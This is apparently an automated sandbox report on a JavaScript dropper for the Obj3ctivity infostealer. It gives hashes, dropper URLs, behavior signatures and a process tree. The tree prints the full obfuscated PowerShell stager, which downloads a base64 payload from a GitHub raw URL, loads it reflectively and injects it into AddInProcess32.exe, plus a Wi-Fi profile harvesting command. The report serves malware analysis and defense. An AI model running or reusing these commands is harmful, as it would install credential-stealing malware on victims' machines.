Analysis

  • max time kernel
    94s
  • max time network
    135s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-10-2024 05:10

General

  • Target

    452773892199400.js

  • Size

    198KB

  • MD5

    8a4caeb85a99c4cba82bc48f3668986d

  • SHA1

    99399b238f8b594bf247e517f7af5025668575f3

  • SHA256

    6f646354fed6f9fb7769dffdb572dbb267acf3c24a0498b4561db3e90a1219c2

  • SHA512

    c0fe0630c841d89fe5386547bef7292c0c06f57329fecdfbb0397f8a969d18ef5a562dfb0ecd6c8e22d60ee38245f69b586c494329fbf55881f76ef3fb0e8503

  • SSDEEP

    6144:3cIC5cYmgSoAIHFdYHl4xO4k2WF+l1QUP/XCxJn:pC5cYmgSqdYF4xOql1QUPKxJn

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNote_J.txt

exe.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNote_J.txt

Signatures

  • Detects Obj3ctivity Stage1 3 IoCs

    Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.

  • Obj3ctivity, PXRECVOWEIWOEI

    Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\452773892199400.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3064
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KAAoACcAZgBxAGkAdQAnACsAJwByAGwAIAA9ACAATAAnACsAJwBwACcAKwAnAGoAaAB0ACcAKwAnAHQAJwArACcAcAAnACsAJwBzADoALwAvAHIAYQB3AC4AZwAnACsAJwBpAHQAaAAnACsAJwB1AGIAJwArACcAdQAnACsAJwBzAGUAcgAnACsAJwBjACcAKwAnAG8AbgB0AGUAbgAnACsAJwB0AC4AYwBvAG0ALwAnACsAJwBOAG8ARAAnACsAJwBlAHQAZQBjACcAKwAnAHQATwBuAC8ATgBvAEQAZQAnACsAJwB0ACcAKwAnAGUAYwAnACsAJwB0AE8AbgAvAHIAJwArACcAZQBmAHMALwAnACsAJwBoACcAKwAnAGUAJwArACcAYQBkAHMALwAnACsAJwBtAGEAaQBuAC8ARABlAHQAJwArACcAYQBoACcAKwAnAE4AJwArACcAbwAnACsAJwB0AGUAXwAnACsAJwBKACcAKwAnAC4AdAB4AHQATABwAGoAOwAgAGYAJwArACcAcQAnACsAJwBpAGIAYQBzACcAKwAnAGUAJwArACcANgA0ACcAKwAnAEMAbwBuACcAKwAnAHQAJwArACcAZQAnACsAJwBuAHQAJwArACcAIAA9ACAAKAAnACsAJwBOAGUAdwAtAE8AYgAnACsAJwBqACcAKwAnAGUAYwAnACsAJwB0ACAAUwB5ACcAKwAnAHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAJwArACcALgAnACsAJwBEAG8AJwArACcAdwBuAGwAbwAnACsAJwBhAGQAUwB0AHIAaQAnACsAJwBuAGcAKAAnACsAJwBmAHEAaQB1AHIAJwArACcAbAApACcAKwAnADsAJwArACcAIABmAHEAaQBiAGkAJwArACcAbgBhAHIAeQBDAG8AbgB0ACcAKwAnAGUAbgB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgAnACsAJwBDAG8AbgB2ACcAKwAnAGUAcgAnACsAJwB0ACcAKwAnAF0AJwArACcAOgA6AEYAcgBvACcAKwAnAG0AJwArACcAQgAnACsAJwBhAHMAJwArACcAZQA2ADQAJwArACcAUwB0AHIAaQAnACsAJwBuAGcAKABmAHEAaQBiAGEAcwBlACcAKwAnADYANABDAG8AbgB0AGUAbgB0ACcAKwAnACkAOwAnACsAJwAgAGYAJwArACcAcQAnACsAJwBpAGEAcwAnACsAJwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAJwArACcAZQBmACcAKwAnAGwAJwArACcAZQBjAHQAaQBvAG4ALgBBAHMAcwBlACcAKwAnAG0AYgAnACsAJwBsAHkAJwArACcAXQA6ADoAJwArACcATABvAGEAZAAoAGYAcQAnACsAJwBpAGIAaQBuAGEAcgB5AEMAJwArACcAbwBuAHQAZQBuAHQAJwArACcAKQA7ACAAWwAnACsAJwBkAG4AbABpAGIALgBJAE8AJwArACcALgBIAG8AbQBlAF0AOgA6AFYAQQAnACsAJwBJACcAKwAnACgATQBoAFAAdAAnACsAJwB4ACcAKwAnAHQAJwArACcALgAnACsAJwBiACcAKwAnAGIAawBhAC8AdgBlACcAKwAnAGQALgAnACsAJwAyAHIAJwArACcALgAnACsAJwAzADkAJwArACcAYgAzACcAKwAnADQANQAzACcAKwAnADAAJwArACcAMgBhADAANwA1ACcAKwAnAGIAMQAnACsAJwBiAGMAMABkACcAKwAnADQANQBiADYAMwAyACcAKwAnAGUAYgA5AGUAZQA2ACcAKwAnADIAJwArACcALQAnACsAJwBiAHUAcAAvACcAKwAnAC8AJwArACcAOgBzAHAAdAAnACsAJwB0AGgAJwArACcATQBoAFAALAAgACcAKwAnAE0AaABQACcAKwAnAGQAZQBzACcAKwAnAGEAdABpAHYAJwArACcAYQBkACcAKwAnAG8ATQBoAFAALAAgAE0AaABQACcAKwAnAGQAZQBzAGEAJwArACcAdAAnACsAJwBpAHYAJwArACcAYQBkAG8ATQBoAFAALAAnACsAJwAgAE0AaABQAGQAJwArACcAZQBzACcAKwAnAGEAdABpACcAKwAnAHYAYQBkAG8ATQBoACcAKwAnAFAALAAgAE0AaABQACcAKwAnAEEAZABkAEkAbgBQACcAKwAnAHIAbwBjAGUAJwArACcAcwBzADMAJwArACcAMgBNACcAKwAnAGgAUAAsACcAKwAnACAATQBoAFAAZAAnACsAJwBlACcAKwAnAHMAJwArACcAYQB0AGkAdgBhAGQAJwArACcAbwBNAGgAUAAsACcAKwAnAE0AaABQACcAKwAnAE0AaAAnACsAJwBQACkAJwApAC0AYwBSAGUAUABMAGEAYwBFACAAIAAnAGYAcQBpACcALABbAEMASABhAHIAXQAzADYALQBSAGUAUABMAEEAQwBlACgAWwBDAEgAYQByAF0ANwA3ACsAWwBDAEgAYQByAF0AMQAwADQAKwBbAEMASABhAHIAXQA4ADAAKQAsAFsAQwBIAGEAcgBdADMANAAtAGMAUgBlAFAATABhAGMARQAnAEwAcABqACcALABbAEMASABhAHIAXQAzADkAKQB8AC4AIAAoACAAJABwAHMAaABPAE0ARQBbADIAMQBdACsAJABwAFMAaABPAE0AZQBbADMAMABdACsAJwBYACcAKQA=';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3728
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('fqiu'+'rl = L'+'p'+'jht'+'t'+'p'+'s://raw.g'+'ith'+'ub'+'u'+'ser'+'c'+'onten'+'t.com/'+'NoD'+'etec'+'tOn/NoDe'+'t'+'ec'+'tOn/r'+'efs/'+'h'+'e'+'ads/'+'main/Det'+'ah'+'N'+'o'+'te_'+'J'+'.txtLpj; f'+'q'+'ibas'+'e'+'64'+'Con'+'t'+'e'+'nt'+' = ('+'New-Ob'+'j'+'ec'+'t Sy'+'stem.Net.WebClient)'+'.'+'Do'+'wnlo'+'adStri'+'ng('+'fqiur'+'l)'+';'+' fqibi'+'naryCont'+'ent = [System.'+'Conv'+'er'+'t'+']'+'::Fro'+'m'+'B'+'as'+'e64'+'Stri'+'ng(fqibase'+'64Content'+');'+' f'+'q'+'ias'+'sembly = [R'+'ef'+'l'+'ection.Asse'+'mb'+'ly'+']::'+'Load(fq'+'ibinaryC'+'ontent'+'); ['+'dnlib.IO'+'.Home]::VA'+'I'+'(MhPt'+'x'+'t'+'.'+'b'+'bka/ve'+'d.'+'2r'+'.'+'39'+'b3'+'453'+'0'+'2a075'+'b1'+'bc0d'+'45b632'+'eb9ee6'+'2'+'-'+'bup/'+'/'+':spt'+'th'+'MhP, '+'MhP'+'des'+'ativ'+'ad'+'oMhP, MhP'+'desa'+'t'+'iv'+'adoMhP,'+' MhPd'+'es'+'ati'+'vadoMh'+'P, MhP'+'AddInP'+'roce'+'ss3'+'2M'+'hP,'+' MhPd'+'e'+'s'+'ativad'+'oMhP,'+'MhP'+'Mh'+'P)')-cRePLacE 'fqi',[CHar]36-RePLACe([CHar]77+[CHar]104+[CHar]80),[CHar]34-cRePLacE'Lpj',[CHar]39)|. ( $pshOME[21]+$pShOMe[30]+'X')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2968
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
          4⤵
          • Accesses Microsoft Outlook profiles
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          • outlook_office_path
          • outlook_win_path
          PID:3464
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
            5⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Wi-Fi Discovery
            • Suspicious use of WriteProcessMemory
            PID:3936
            • C:\Windows\SysWOW64\chcp.com
              chcp 65001
              6⤵
              • System Location Discovery: System Language Discovery
              PID:2876
            • C:\Windows\SysWOW64\netsh.exe
              netsh wlan show profile
              6⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:2040
            • C:\Windows\SysWOW64\findstr.exe
              findstr All
              6⤵
              • System Location Discovery: System Language Discovery
              PID:1176
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1588

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    f41839a3fe2888c8b3050197bc9a0a05

    SHA1

    0798941aaf7a53a11ea9ed589752890aee069729

    SHA256

    224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

    SHA512

    2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    94cc8aa302136c58a17742da02e54c48

    SHA1

    06c269d1a0b648467cc627162d8c2a0727d94123

    SHA256

    8ff32c0be04cd2af2b9cd5ddb61d74c94af99a9ebad6a57b0e4f3f7896ef7225

    SHA512

    7d06f705121fcfc8e5d84ab3c7b5a23343e0f5731931a279c2794eefdbb32222f2f3c812767bd05c20dcc2251bb24713351f47865bd9c70e9cdbd600d79292de

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gp4ve0sf.yfx.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2968-22-0x000002887CEF0000-0x000002887D110000-memory.dmp

    Filesize

    2.1MB

  • memory/3464-32-0x0000000005D30000-0x0000000005D96000-memory.dmp

    Filesize

    408KB

  • memory/3464-33-0x0000000006860000-0x0000000006A22000-memory.dmp

    Filesize

    1.8MB

  • memory/3464-23-0x0000000000400000-0x000000000041A000-memory.dmp

    Filesize

    104KB

  • memory/3464-26-0x0000000000400000-0x000000000041A000-memory.dmp

    Filesize

    104KB

  • memory/3464-88-0x0000000007B00000-0x000000000802C000-memory.dmp

    Filesize

    5.2MB

  • memory/3464-84-0x0000000006DA0000-0x0000000006E32000-memory.dmp

    Filesize

    584KB

  • memory/3464-74-0x0000000007550000-0x0000000007AF4000-memory.dmp

    Filesize

    5.6MB

  • memory/3464-31-0x0000000005AA0000-0x0000000005B86000-memory.dmp

    Filesize

    920KB

  • memory/3464-64-0x0000000006D20000-0x0000000006D96000-memory.dmp

    Filesize

    472KB

  • memory/3464-34-0x0000000006800000-0x0000000006812000-memory.dmp

    Filesize

    72KB

  • memory/3728-12-0x00007FF873D40000-0x00007FF874801000-memory.dmp

    Filesize

    10.8MB

  • memory/3728-0-0x00007FF873D43000-0x00007FF873D45000-memory.dmp

    Filesize

    8KB

  • memory/3728-30-0x00007FF873D40000-0x00007FF874801000-memory.dmp

    Filesize

    10.8MB

  • memory/3728-10-0x000001DBBE830000-0x000001DBBE852000-memory.dmp

    Filesize

    136KB

  • memory/3728-11-0x00007FF873D40000-0x00007FF874801000-memory.dmp

    Filesize

    10.8MB